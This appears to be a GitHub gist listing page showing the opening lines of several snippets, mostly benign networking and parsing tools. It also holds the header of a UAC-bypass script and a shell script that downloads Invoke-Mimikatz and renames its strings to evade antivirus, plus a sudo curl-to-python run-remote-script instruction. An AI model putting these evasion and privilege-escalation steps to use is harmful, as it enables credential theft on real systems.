Skip to content

Instantly share code, notes, and snippets.

View momansoury's full-sized avatar
❄️
cool

Mohammad Mansoury momansoury

❄️
cool
View GitHub Profile
@skelsec
skelsec / masscan_partser.py
Last active March 10, 2020 08:48
Masscan parsing fun
import json
import traceback
class MasscanJsonFile:
def __init__(self, filename, in_memory = True):
self.filename = filename
self.in_memory = in_memory
self.hosts_port = {}
self.port_hosts = {}
@dezhub
dezhub / uacbypasstokenmanipulation.py
Created August 21, 2018 13:57 — forked from makelariss/uacbypasstokenmanipulation.py
Fileless AlwaysNotify UAC Bypass using CIA Vault7's Token Manipulation
# -*- coding: utf-8 -*-
# All credits go to CIA: https://gist.github.com/hfiref0x/59c689a14f1fc2302d858ae0aa3f6b86 (please don't hack me <3 :))
# This is trully a Always Notify UAC Bypass,cause it uses process enumeration to find elevated processes. Since you need administrative privileges to get TOKEN_ELEVATION,we look for processes with manifests that have <autoElevate></autoElevate> set to True.
from ctypes.wintypes import *
from ctypes import *
from enum import IntEnum
kernel32 = WinDLL('kernel32', use_last_error=True)
advapi32 = WinDLL('advapi32', use_last_error=True)
shell32 = WinDLL('shell32' , use_last_error=True)
@lobstrio
lobstrio / coinmarketcap_extract.py
Last active October 24, 2023 13:26
Extract all cryptocurrencies data from coinmarketcap.com using Python 3 and Request
#!/usr/bin/python3
# coding: utf-8
import requests
from bs4 import BeautifulSoup
from scrapy import Selector
import csv
import datetime
@aliqandil
aliqandil / create_mtproto_proxy_server.py
Last active December 7, 2018 17:58
Pure Python Script to Create an MTProto Proxy server for telegram with a single command. (Command on Line 3)
# To get and run this script, excecute:
#
# sudo bash -c 'python <(curl "https://gist.github.com/aliqandil/a3e172a641286876d23bd93dbcdc0a0a/raw/create_mtproto_proxy_server.py" -sL -N)'
#
from __future__ import print_function
from contextlib import closing
from collections import defaultdict
import socket, json, os, sys, shlex, hashlib, random
#Checking admin rights:
//+--------------------------------------------------------+
//| adapted for FILE_SHARE_READ from BP-Ticks-1.0.mq4 |
//+--------------------------------------------------------+
// File identificator
int file;
uint startTick;
uint tickTime;
datetime theTime;
@gdamjan
gdamjan / ssl-check.py
Last active April 14, 2024 07:16
Python script to check on SSL certificates
# -*- encoding: utf-8 -*-
# requires a recent enough python with idna support in socket
# pyopenssl, cryptography and idna
from OpenSSL import SSL
from cryptography import x509
from cryptography.x509.oid import NameOID
import idna
from socket import socket
@WangYihang
WangYihang / socks-proxy-simple.py
Last active June 4, 2022 04:11
A simple socks server via python
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# 一个简单的 Socks5 代理服务器 , 只有 server 端 , 而且代码比较乱
# 不是很稳定 , 而且使用多线程并不是 select 模型
# Author : WangYihang <[email protected]>
import socket
import threading
import sys
@WangYihang
WangYihang / port-forwarding.py
Last active December 19, 2024 02:20
port forwarding via python socket
#!/usr/bin/env python3
# Tcp Port Forwarding (Reverse Proxy)
# Author : WangYihang <[email protected]>
'''
+-----------------------------+ +---------------------------------------------+ +--------------------------------+
| My Laptop (Alice) | | Intermediary Server (Bob) | | Internal Server (Carol) |
+-----------------------------+ +----------------------+----------------------+ +--------------------------------+
| $ ssh -p 1022 [email protected] |<------->| IF 1: 1.2.3.4 | IF 2: 192.168.1.1 |<------->| IF 1: 192.168.1.2 |
| [email protected]'s password: | +----------------------+----------------------+ +--------------------------------+
@Kalimaha
Kalimaha / proxy.py
Last active August 2, 2024 05:15
Simple Proxy server in Python
import time
from threading import Thread
try:
import socketserver as SocketServer
import http.server as SimpleHTTPServer
except ImportError:
import SocketServer
import SimpleHTTPServer
@PaulSec
PaulSec / invoke_evasion.sh
Created August 1, 2017 13:50
Small script to bypass AV that triggers Invoke-Mimikatz with shitty rules
# AV Bypass to run Mimikatz
# From: https://www.blackhillsinfosec.com/?p=5555
# Server side:
wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1
sed -i -e 's/Invoke-Mimikatz/Invoke-Mimidogz/g' Invoke-Mimikatz.ps1
sed -i -e '/<#/,/#>/c\\' Invoke-Mimikatz.ps1
sed -i -e 's/^[[:space:]]*#.*$//g' Invoke-Mimikatz.ps1
sed -i -e 's/DumpCreds/DumpCred/g' Invoke-Mimikatz.ps1
sed -i -e 's/ArgumentPtr/NotTodayPal/g' Invoke-Mimikatz.ps1